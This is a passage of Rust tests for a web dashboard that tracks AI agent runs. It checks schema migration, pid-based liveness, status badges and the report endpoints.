17512        assert_eq!(warm["live"], "live", "{warm}");
17513    }
17514
17515    #[test]
17516    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
17517        let home = tempfile::tempdir().expect("temp home");
17518        let runs = home.path().join("runs");
17519        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
17520            let mut state = RunState::new(
17521                PathBuf::from("/repo/magi"),
17522                "main".to_owned(),
17523                "0123456789abcdef".to_owned(),
17524                "Generated review context, not authored task criteria".to_owned(),
17525                Config::default(),
17526            );
17527            state.origin = origin;
17528            state.status = RunStatus::Blocked;
17529            // Earlier migrations must not infer these facts again.
17530            state.driver_exited = false;
17531            state.gate_ran = true;
17532            let expected = serde_json::to_value(&state).expect("serialize current state");
17533            let mut legacy = expected.clone();
17534            legacy["schema"] = serde_json::json!(13);
17535            legacy.as_object_mut().unwrap().remove("task_instruction");
17536            let dir = runs.join(&state.id);
17537            std::fs::create_dir_all(&dir).expect("run dir");
17538            let path = dir.join("run.json");
17539            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
17540            std::fs::write(&path, &body).expect("write legacy run");
17541
17542            for loaded in [
17543                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
17544                read_run(&runs, &state.id).expect("web migration"),
17545            ] {
17546                assert_eq!(loaded.schema, crate::run::SCHEMA);
17547                assert!(loaded.task_instruction.is_none());
17548                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
17549            }
17550            assert_eq!(runs_unreadable(&runs), 0);
17551            assert_eq!(std::fs::read(&path).unwrap(), body);
17552        }
17553    }
17554
17555    /// Where a run came from is shown, and a run written before origins were
17556    /// recorded (schema 12, no `origin` key) stays readable and says so.
17557    #[tokio::test]
17558    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
17559        let f = Fixture::start().await;
17560        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
17561            let mut state = RunState::new(
17562                PathBuf::from("/repo/magi"),
17563                "main".to_owned(),
17564                "0123456789abcdef".to_owned(),
17565                "Add a web UI".to_owned(),
17566                Config::default(),
17567            );
17568            state.id = id.to_owned();
17569            state.origin = origin;
17570            let mut value = serde_json::to_value(&state).expect("serialize run");
17571            if let Some(schema) = schema {
17572                value["schema"] = serde_json::json!(schema);
17573                value.as_object_mut().unwrap().remove("origin");
17574            }
17575            let dir = f.runs().join(id);
17576            std::fs::create_dir_all(&dir).expect("run dir");
17577            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
17578        };
17579        write(
17580            "20260930-092817-ec34",
17581            Some(crate::run::Origin::from_agent_env(
17582                Some(("4a7b".to_owned(), "chat".to_owned())),
17583                None,
17584            )),
17585            None,
17586        );
17587        write("20260930-092817-0ld1", None, Some(12));
17588
17589        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
17590        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
17591        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
17592
17593        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
17594        assert_eq!(
17595            old["origin_label"], "origin unknown (started before origins were recorded)",
17596            "{old}"
17597        );
17598        assert!(old["origin"].is_null(), "{old}");
17599
17600        let list = f.get("/api/runs").await.json();
17601        let labels: Vec<_> = list
17602            .as_array()
17603            .unwrap()
17604            .iter()
17605            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
17606            .collect();
17607        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
17608    }
17609
17610    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
17611    /// review` claims no daemon at all, so before this field existed the
17612    /// route above read it as `"dead"` — indistinguishable from a run a
17613    /// killed process abandoned — the whole time it was genuinely still
17614    /// answering. With a live pid recorded, it must read `"live"` even
17615    /// though no daemon claims it.
17616    #[tokio::test]
17617    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
17618        let f = Fixture::start().await;
17619        let id = "20260922-090000-cccc";
17620        let mut state = RunState::new(
17621            PathBuf::from("/repo/magi"),
17622            "main".to_owned(),
17623            "0123456789abcdef".to_owned(),
17624            "Review only".to_owned(),
17625            Config::default(),
17626        );
17627        state.id = id.to_owned();
17628        state.status = RunStatus::Reviewing;
17629        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17630        // This test process's own pid: guaranteed alive, and never needs a
17631        // real daemon or a second process to prove it. The matching start-time
17632        // marker is what `liveness` now requires alongside a live pid — see
17633        // `RunState::driver_started_at`'s own doc for why the pid alone is
17634        // not enough.
17635        state.driver_pid = Some(std::process::id());
17636        state.driver_started_at = Some(
17637            crate::proc::process_started_at(std::process::id())
17638                .expect("this test process's own start time must be queryable"),
17639        );
17640        let dir = f.runs().join(id);
17641        std::fs::create_dir_all(&dir).expect("run dir");
17642        std::fs::write(
17643            dir.join("run.json"),
17644            serde_json::to_string_pretty(&state).expect("serialize run"),
17645        )
17646        .expect("write run.json");
17647
17648        let detail = f.get(&format!("/api/runs/{id}")).await.json();
17649        assert_eq!(detail["live"], "live", "{detail}");
17650    }
17651
17652    /// A killed manual run's pid can be handed to a wholly unrelated later
17653    /// process — a live query on `driver_pid` alone would read this as
17654    /// `"live"`, exactly the false positive `driver_started_at` exists to
17655    /// catch (see that field's own doc, and `RunState::liveness_with`'s
17656    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
17657    #[tokio::test]
17658    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
17659        let f = Fixture::start().await;
17660        let id = "20260922-090100-dddd";
17661        let mut state = RunState::new(
17662            PathBuf::from("/repo/magi"),
17663            "main".to_owned(),
17664            "0123456789abcdef".to_owned(),
17665            "Review only".to_owned(),
17666            Config::default(),
17667        );
17668        state.id = id.to_owned();
17669        state.status = RunStatus::Reviewing;
17670        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17671        // This test process's own pid really is alive, but the marker
17672        // recorded here does not match what it actually started at —
17673        // standing in for the pid having since been reused by a different
17674        // process than the one that wrote `run.json`.
17675        state.driver_pid = Some(std::process::id());
17676        state.driver_started_at = Some("1".to_owned());
17677        let dir = f.runs().join(id);
17678        std::fs::create_dir_all(&dir).expect("run dir");
17679        std::fs::write(
17680            dir.join("run.json"),
17681            serde_json::to_string_pretty(&state).expect("serialize run"),
17682        )
17683        .expect("write run.json");
17684
17685        let detail = f.get(&format!("/api/runs/{id}")).await.json();
17686        assert_eq!(detail["live"], "dead", "{detail}");
17687    }
17688
17689    /// The deck's competition list is normally the first place an operator
17690    /// sees an old run. It must carry the same process verdict as detail, or
17691    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
17692    #[test]
17693    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
17694        let mk = |id: &str, pid: Option<u32>| {
17695            let mut s = RunState::new(
17696                PathBuf::from("/repo/magi"),
17697                "main".to_owned(),
17698                "0123456789abcdef".to_owned(),
17699                "Add a web UI".to_owned(),
17700                Config::default(),
17701            );
17702            s.id = id.to_owned();
17703            s.driver_pid = pid;
17704            s.driver_started_at = Some("1790000000".to_owned());
17705            s
17706        };
17707        let states = vec![
17708            mk("20260902-140502-aaaa", Some(77)),
17709            mk("20260902-140502-bbbb", Some(77)),
17710            mk("20260902-140502-cccc", Some(77)),
17711            mk("20260902-140502-dddd", None),
17712        ];
17713        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
17714        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
17715        let sup: HashMap<String, String> = [(
17716            "20260902-140502-aaaa".to_owned(),
17717            "20260902-140502-cccc".to_owned(),
17718        )]
17719        .into();
17720
17721        let status_calls = std::cell::Cell::new(0);
17722        let identity_calls = std::cell::Cell::new(0);
17723        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
17724            |_| {
17725                status_calls.set(status_calls.get() + 1);
17726                Some(true)
17727            },
17728            |_| {
17729                identity_calls.set(identity_calls.get() + 1);
17730                Some("1790000000".to_owned())
17731            },
17732        ));
17733        let rows = summarize(
17734            states,
17735            &open,
17736            &claimed,
17737            &sup,
17738            |p| probe.borrow_mut().status(p),
17739            |p| probe.borrow_mut().started_at(p),
17740        );
17741
17742        assert_eq!(status_calls.get(), 1, "one pid, one status query");
17743        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
17744        assert_eq!(rows.len(), 4);
17745        assert!(!rows[0].waiting && rows[1].waiting);
17746        assert_eq!(rows[0].live, crate::run::Liveness::Live);
17747        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
17748        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
17749        assert_eq!(rows[1].superseded_by, None);
17750    }
17751
17752    #[test]
17753    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
17754        let mut state = RunState::new(
17755            PathBuf::from("/repo/magi"),
17756            "main".to_owned(),
17757            "0123456789abcdef".to_owned(),
17758            "Review only".to_owned(),
17759            Config::default(),
17760        );
17761        state.id = "20260922-090200-dead".to_owned();
17762        state.status = RunStatus::Reviewing;
17763        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
17764            .expect("serialize list row");
17765        assert_eq!(row["status"], "reviewing");
17766        assert_eq!(row["display_status"], "stale");
17767        assert_eq!(row["live"], "dead", "{row}");
17768        assert!(!row["done"].as_bool().unwrap());
17769    }
17770
17771    #[test]
17772    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
17773        use crate::run::Liveness::{Dead, Live, Unknown};
17774        let mut state = RunState::new(
17775            PathBuf::from("/repo/magi"),
17776            "main".to_owned(),
17777            "abc".to_owned(),
17778            "Review only".to_owned(),
17779            Config::default(),
17780        );
17781        for (status, parked, node, waiting, live, expected) in [
17782            (
17783                RunStatus::Judging,
17784                true,
17785                "github-text",
17786                false,
17787                Dead,
17788                "parked",
17789            ),
17790            (RunStatus::Judging, false, "park", false, Dead, "stale"),
17791            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
17792            (
17793                RunStatus::Judging,
17794                true,
17795                "github-text",
17796                true,
17797                Dead,
17798                "waiting",
17799            ),
17800            (
17801                RunStatus::Judging,
17802                false,
17803                "github-text",
17804                true,
17805                Dead,
17806                "waiting",
17807            ),
17808            (
17809                RunStatus::Judging,
17810                false,
17811                "github-text",
17812                false,
17813                Dead,
17814                "stale",
17815            ),
17816            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
17817            (RunStatus::Judging, true, "park", false, Live, "judging"),
17818            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
17819            (RunStatus::Merged, true, "park", false, Dead, "merged"),
17820            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
17821            (
17822                RunStatus::Blocked,
17823                true,
17824                "github-text",
17825                true,
17826                Dead,
17827                "waiting",
17828            ),
17829        ] {
17830            state.status = status;
17831            state.parked = parked;
17832            state.events.clear();
17833            state.event(
17834                "park",
17835                "an earlier park does not determine the latest state",
17836            );
17837            state.event(node, "message is not used for classification");
17838            let summary = RunSummary::of(&state, waiting, live);
17839            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
17840            assert_eq!(
17841                summary.display_status, expected,
17842                "{status:?}/{node}/{live:?}"
17843            );
17844            assert_eq!(detail.display_status, summary.display_status);
17845            assert_eq!(detail.waiting, summary.waiting);
17846        }
17847        state.status = RunStatus::Judging;
17848        state.parked = false;
17849        state.events.clear();
17850        assert_eq!(run_display_status(&state, false, Dead), "stale");
17851    }
17852
17853    #[test]
17854    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
17855        use crate::run::Liveness::{Dead, Live, Unknown};
17856        let mut state = RunState::new(
17857            PathBuf::from("/repo/magi"),
17858            "main".to_owned(),
17859            "abc".to_owned(),
17860            "Badge".to_owned(),
17861            Config::default(),
17862        );
17863        for (status, waiting, live, superseded, expected) in [
17864            (RunStatus::Gating, false, Dead, false, "stale"),
17865            (RunStatus::Gating, false, Dead, true, "superseded"),
17866            (RunStatus::Gating, false, Unknown, true, "superseded"),
17867            (RunStatus::Gating, true, Dead, true, "superseded"),
17868            (RunStatus::Gating, true, Dead, false, "waiting"),
17869            (RunStatus::Gating, false, Unknown, false, "gating"),
17870            (RunStatus::Gating, false, Live, true, "gating"),
17871            (RunStatus::Gating, true, Live, true, "waiting"),
17872            (RunStatus::Merged, false, Dead, true, "merged"),
17873            (RunStatus::Blocked, false, Dead, true, "blocked"),
17874        ] {
17875            state.status = status;
17876            let display = run_display_status(&state, waiting, live);
17877            assert_eq!(
17878                run_badge_status(&state, &display, live, superseded),
17879                expected,
17880                "{status:?}/{live:?}/superseded={superseded}"
17881            );
17882        }
17883    }
17884
17885    #[test]
17886    fn summarize_and_detail_expose_badge_status() {
17887        use crate::run::Liveness::Dead;
17888        let mut state = RunState::new(
17889            PathBuf::from("/repo/magi"),
17890            "main".to_owned(),
17891            "abc".to_owned(),
17892            "Badge".to_owned(),
17893            Config::default(),
17894        );
17895        state.status = RunStatus::Gating;
17896        let none = HashSet::new();
17897        let id = state.id.clone();
17898        let mut by = HashMap::new();
17899        let rows = summarize(
17900            [state.clone()],
17901            &none,
17902            &none,
17903            &by,
17904            |_| Some(false),
17905            |_| None,
17906        );
17907        // No driver recorded: liveness is not provably dead, so the node stays.
17908        assert_eq!(rows[0].badge_status, rows[0].display_status);
17909        by.insert(id, "20260901-000000-913b".to_owned());
17910        let detail = RunDetailView::of(
17911            state.clone(),
17912            false,
17913            Dead,
17914            Some("913b".to_owned()),
17915            None,
17916            None,
17917        );
17918        assert_eq!(detail.badge_status, "superseded");
17919        let json = serde_json::to_value(&detail).unwrap();
17920        assert_eq!(json["badge_status"], "superseded");
17921        let detail = RunDetailView::of(state, false, Dead, None, None, None);
17922        assert_eq!(detail.badge_status, "stale");
17923    }
17924
17925    #[tokio::test]
17926    async fn run_display_status_routes_share_the_open_question_store() {
17927        let f = Fixture::start().await;
17928        let id = "20260922-090200-abcd";
17929        write_run(&f.runs(), id, RunStatus::Judging);
17930        let mut state = read_run(&f.runs(), id).unwrap();
17931        state.parked = true;
17932        state.driver_exited = true;
17933        state.event("github-text", "waiting for the owner");
17934        state.save_under(f.home.path()).unwrap();
17935        let mut task = Task::new(
17936            "resumed task".to_owned(),
17937            "do it".to_owned(),
17938            PathBuf::from("/repo"),
17939            Source::Human,
17940        );
17941        task.runs = vec![id.to_owned(), id.to_owned()];
17942        f.queue().put(&mut task).unwrap();
17943        let store = f.questions();
17944        let mut q = Question::new(
17945            id.to_owned(),
17946            "github-text".to_owned(),
17947            "owner".to_owned(),
17948            "Approve the text?".to_owned(),
17949            String::new(),
17950            Vec::new(),
17951        );
17952        store.put(&mut q).unwrap();
17953        for expected in ["waiting", "parked"] {
17954            let list = f.get("/api/runs").await.json();
17955            let detail = f.get(&format!("/api/runs/{id}")).await.json();
17956            assert_eq!(list[0]["display_status"], expected);
17957            assert_eq!(detail["display_status"], expected);
17958            assert_eq!(detail["waiting"], list[0]["waiting"]);
17959            assert_eq!(list[0]["badge_status"], expected);
17960            assert_eq!(detail["badge_status"], expected);
17961            assert!(list[0]["superseded_by"].is_null());
17962            assert!(detail["superseded_by"].is_null());
17963            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
17964            let history = task_detail["history"].as_array().unwrap();
17965            assert_eq!(history.len(), 2);
17966            assert!(history[0]["badge"].is_null());
17967            assert_eq!(history[1]["badge"], expected);
17968            q.status = ask::QuestionStatus::Answered;
17969            store.put(&mut q).unwrap();
17970        }
17971    }
17972
17973    #[tokio::test]
17974    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
17975        let f = Fixture::start().await;
17976        let id = "20260922-090200-abcd";
17977        write_run(&f.runs(), id, RunStatus::Judging);
17978        let mut state = read_run(&f.runs(), id).unwrap();
17979        state.parked = true;
17980        state.driver_exited = true;
17981        state.event("park", "stopped at a node boundary");
17982        state.save_under(f.home.path()).unwrap();
17983
17984        for expected in ["parked", "stale"] {
17985            let list = f.get("/api/runs").await.json();
17986            let detail = f.get(&format!("/api/runs/{id}")).await.json();
17987            assert_eq!(list[0]["live"], "dead");
17988            assert_eq!(list[0]["display_status"], expected);
17989            assert_eq!(detail["display_status"], expected);
17990            // Model a driver claim followed by a crash before the next event:
17991            // the persisted flag changes, but the last event is still park.
17992            state.parked = false;
17993            state.save_under(f.home.path()).unwrap();
17994        }
17995    }
17996
17997    #[tokio::test]
17998    async fn the_run_list_is_newest_first_and_honours_a_limit() {
17999        let f = Fixture::start().await;
18000        for id in [
18001            "20260902-140501-aaaa",
18002            "20260902-140502-bbbb",
18003            "20260902-140503-cccc",
18004        ] {
18005            write_run(&f.runs(), id, RunStatus::Merged);
18006        }
18007
18008        let all = f.get("/api/runs").await.json();
18009        let capped = f.get("/api/runs?limit=2").await.json();
18010
18011        assert_eq!(all[0]["id"], "20260902-140503-cccc");
18012        assert_eq!(all.as_array().map(Vec::len), Some(3));
18013        assert_eq!(capped.as_array().map(Vec::len), Some(2));
18014        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18015    }
18016
18017    #[tokio::test]
18018    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18019        let f = Fixture::start().await;
18020        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18021
18022        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18023
18024        assert_eq!(res.status, 200);
18025        assert!(
18026            res.headers
18027                .contains("content-type: text/plain; charset=utf-8"),
18028            "a browser must render it, not download it: {}",
18029            res.headers
18030        );
18031        // The assertion is on content, not on the absence of escapes: colour
18032        // is a process-global that `serve` turns off at startup, and another
18033        // test in this binary may own it while this one runs.
18034        assert!(
18035            res.body.contains("20260902-140501-a1b2"),
18036            "the report is about the run that was asked for: {}",
18037            res.body
18038        );
18039    }
18040
18041    #[tokio::test]
18042    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18043        // The view names the run's state directory, which reads the process-global home.
18044        crate::run::pin_test_home();
18045        let f = Fixture::start().await;
18046        let id = "20260902-140501-a1b2";
18047        write_run(&f.runs(), id, RunStatus::Stalled);
18048        // A stalled panel and one review round, written through the real
18049        // state file so the route reads what a run really leaves behind.
18050        let path = f.runs().join(id).join("run.json");
18051        let mut v: serde_json::Value =
18052            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18053        v["tally"] = serde_json::json!({
18054            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18055            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18056            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18057            "met_quorum": false, "rankings": 1
18058        });
18059        v["reviews"] = serde_json::json!([{
18060            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18061            "e2e_deferred": true,
18062            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18063                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18064            ]}]
18065        }]);
18066        std::fs::write(&path, v.to_string()).unwrap();
18067        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18068        std::fs::write(
18069            f.runs().join("20260902-140502-dead").join("run.json"),
18070            "{not json",
18071        )
18072        .unwrap();
18073
18074        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18075
18076        assert_eq!(res.status, 200, "{}", res.body);
18077        assert!(res.headers.contains("content-type: application/json"));
18078        let j = res.json();
18079        assert_eq!(j["schema"], 1);
18080        assert_eq!(j["header"]["id"], id);
18081        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
18082        let kinds: Vec<&str> = j["sections"]
18083            .as_array()
18084            .unwrap()
18085            .iter()
18086            .map(|s| s["kind"].as_str().unwrap())
18087            .collect();
18088        assert_eq!(kinds, ["candidates", "tally", "review"]);
18089        let tally = &j["sections"][1]["tally"];
18090        assert_eq!(
18091            (tally["decided"].clone(), tally["provisional"].clone()),
18092            (false.into(), true.into())
18093        );
18094        let round = &j["sections"][2]["rounds"][0];
18095        assert_eq!(round["e2e"]["state"], "deferred");
18096        assert_eq!(round["findings"][0]["severity"], "major");
18097        assert_eq!(round["findings"][0]["blocking"], true);
18098        assert_eq!(round["findings"][0]["state"], "open");
18099
18100        // The raw route keeps working beside it.
18101        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
18102
18103        // An unreadable run is an error, as on the text route, and is counted.
18104        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
18105        assert_ne!(bad.status, 200, "{}", bad.body);
18106        assert_eq!(
18107            bad.status,
18108            f.get("/api/runs/20260902-140502-dead/report").await.status
18109        );
18110        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
18111        assert_eq!(
18112            f.get("/api/runs/20260902-999999-ffff/report.json")
18113                .await
18114                .status,
18115            404
18116        );
18117    }
18118
18119    #[tokio::test]
18120    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
18121        crate::run::pin_test_home();
18122        let f = Fixture::start().await;
18123        let id = "20260902-140503-delib";
18124        write_run(&f.runs(), id, RunStatus::Merged);
18125        let path = f.runs().join(id).join("run.json");
18126        let mut v: serde_json::Value =
18127            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18128        v["judgements"] = serde_json::json!([
18129            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
18130        ]);
18131        v["tally"] = serde_json::json!({
18132            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18133            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
18134            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
18135            "met_quorum": true, "rankings": 1
18136        });
18137        v["deliberation"] = serde_json::json!([
18138            {
18139                "round": 1,
18140                "turns": [
18141                    {
18142                        "judge": 1,
18143                        "agent": "judge-1",
18144                        "body": "I prefer candidate **A** because it has cleaner tests.",
18145                        "tentative": "A"
18146                    }
18147                ]
18148            },
18149            {
18150                "round": 2,
18151                "turns": [
18152                    {
18153                        "judge": 1,
18154                        "agent": "judge-1",
18155                        "body": "Still thinking, no choice yet.",
18156                        "tentative": null
18157                    }
18158                ]
18159            }
18160        ]);
18161        std::fs::write(&path, v.to_string()).unwrap();
18162
18163        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18164        assert_eq!(res.status, 200, "{}", res.body);
18165        let j = res.json();
18166        let judging = j["sections"]
18167            .as_array()
18168            .unwrap()
18169            .iter()
18170            .find(|s| s["kind"] == "judging")
18171            .expect("judging section exists");
18172
18173        // Existing summary lines remain intact
18174        let delib_lines = judging["deliberation"].as_array().unwrap();
18175        assert_eq!(delib_lines.len(), 2);
18176        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
18177        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
18178
18179        // rounds carry turn bodies, tentative and parsed body_md
18180        let rounds = judging["rounds"].as_array().unwrap();
18181        assert_eq!(rounds.len(), 2);
18182        let r1_t0 = &rounds[0]["turns"][0];
18183        assert_eq!(r1_t0["judge"], 1);
18184        assert_eq!(r1_t0["agent"], "judge-1");
18185        assert_eq!(r1_t0["tentative"], "A");
18186        assert_eq!(
18187            r1_t0["body"],
18188            "I prefer candidate **A** because it has cleaner tests."
18189        );
18190        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
18191
18192        let r2_t0 = &rounds[1]["turns"][0];
18193        assert_eq!(r2_t0["judge"], 1);
18194        assert_eq!(r2_t0["agent"], "judge-1");
18195        assert!(r2_t0["tentative"].is_null());
18196        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
18197        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
18198
18199        // A run with empty deliberation array yields empty rounds
18200        let id_empty = "20260902-140504-nodelib";
18201        write_run(&f.runs(), id_empty, RunStatus::Merged);
18202        let path_empty = f.runs().join(id_empty).join("run.json");
18203        let mut v_empty: serde_json::Value =
18204            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
18205        v_empty["judgements"] = serde_json::json!([
18206            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
18207        ]);
18208        v_empty["deliberation"] = serde_json::json!([]);
18209        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
18210
18211        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
18212        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
18213        let j_empty = res_empty.json();
18214        let judging_empty = j_empty["sections"]
18215            .as_array()
18216            .unwrap()
18217            .iter()
18218            .find(|s| s["kind"] == "judging")
18219            .expect("judging section exists");
18220        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
18221    }
18222
18223    #[tokio::test]
18224    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
18225        let f = Fixture::start().await;
18226
18227        let html = f.get("/").await;
18228        let css = f.get("/app.css").await;
18229        let js = f.get("/app.js").await;
18230
18231        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
18232        assert!(
18233            html.headers
18234                .contains("content-type: text/html; charset=utf-8")
18235        );
18236        assert!(css.headers.contains("content-type: text/css"));
18237        assert!(js.headers.contains("content-type: text/javascript"));
18238        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
18239    }
18240
18241    #[test]
18242    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
18243        let body = |name: &str| {
18244            let at = APP_JS
18245                .find(name)
18246                .unwrap_or_else(|| panic!("{name} missing"));
18247            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
18248        };
18249        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
18250        let note = body("function landRoundNote");
18251        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
18252        assert!(note.contains("Land round ${round}"));
18253        let land = body("function renderLand");
18254        let note_at = land
18255            .find("landRoundNote(pr)")
18256            .expect("renderLand uses the note");
18257        assert!(
18258            note_at
18259                < land
18260                    .find("roundRail(pr)")
18261                    .expect("renderLand uses the rail")
18262        );
18263    }
18264
18265    #[test]
18266    fn the_runs_page_redesign_keeps_its_guards() {
18267        let body = |name: &str| {
18268            let at = APP_JS
18269                .find(name)
18270                .unwrap_or_else(|| panic!("{name} missing"));
18271            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
18272        };
18273        // A null child must never reach the native append (it prints "null").
18274        let land = body("function renderLand");
18275        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
18276        assert!(
18277            !land.contains("box.append("),
18278            "renderLand must use append()"
18279        );
18280        assert!(land.contains("append(box, ["));
18281        // Tabs are hash routes; the run id alone decides a reload.
18282        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
18283        assert!(
18284            body("function applyRoute")
18285                .contains("route.name !== state.route.name || route.id !== state.route.id")
18286        );
18287        // The decorative diagram is gone, the strip and its guards stay.
18288        assert!(!APP_JS.contains("adviseConvergeDiagram"));
18289        assert!(!INDEX_HTML.contains("advise-converge"));
18290        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
18291        assert!(APP_JS.contains("provisional"));
18292        for id in [
18293            "run-tab-overview",
18294            "run-tab-timeline",
18295            "run-tab-report",
18296            "run-report",
18297            "runs-scope",
18298        ] {
18299            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
18300        }
18301        assert!(!INDEX_HTML.contains("runs-tree"));
18302        assert!(!INDEX_HTML.contains("run-raw-panel"));
18303        // Fold still says it cannot be resumed.
18304        assert!(APP_JS.contains("resume"));
18305        // The unreadable-runs count stays on the page.
18306        assert!(APP_JS.contains("unreadable"));
18307    }
18308
18309    #[test]
18310    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
18311        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
18312        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
18313        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
18314        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
18315        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
18316        // The subtitle still counts them whatever the banner does.
18317        assert!(APP_JS.contains("unreadable` : null"));
18318    }
18319
18320    #[test]
18321    fn blocked_run_detail_exposes_the_failed_gate_reason() {
18322        let mut state = RunState::new(
18323            "/repo".into(),
18324            "main".into(),
18325            "abc".into(),
18326            "task".into(),
18327            crate::config::Config::default(),
18328        );
18329        state.status = RunStatus::Blocked;
18330        state.gate_ran = true;
18331        state.gate.push(crate::run::CommandOutcome {
18332            command: "cargo make check".into(),
18333            code: Some(1),
18334            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
18335            duration_ms: 0,
18336            resource_blocked: false,
18337        });
18338        let view = RunDetailView::of(
18339            state,
18340            false,
18341            crate::run::Liveness::Unknown,
18342            None,
18343            None,
18344            None,
18345        );
18346        let value = serde_json::to_value(view).unwrap();
18347        assert_eq!(
18348            value["stop_reason"],
18349            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
18350        );
18351    }
18352
18353    #[test]
18354    fn the_run_detail_payload_says_whether_the_run_is_done() {
18355        // `landView` reads `run.done`; the detail response must carry it.
18356        for (status, done) in [
18357            (RunStatus::Superseded, true),
18358            (RunStatus::Blocked, true),
18359            (RunStatus::Landing, false),
18360        ] {
18361            let mut state = RunState::new(
18362                std::path::PathBuf::from("/repo"),
18363                "main".to_owned(),
18364                "abc".to_owned(),
18365                "x".to_owned(),
18366                crate::config::Config::default(),
18367            );
18368            state.status = status;
18369            let v = serde_json::to_value(RunDetailView::of(
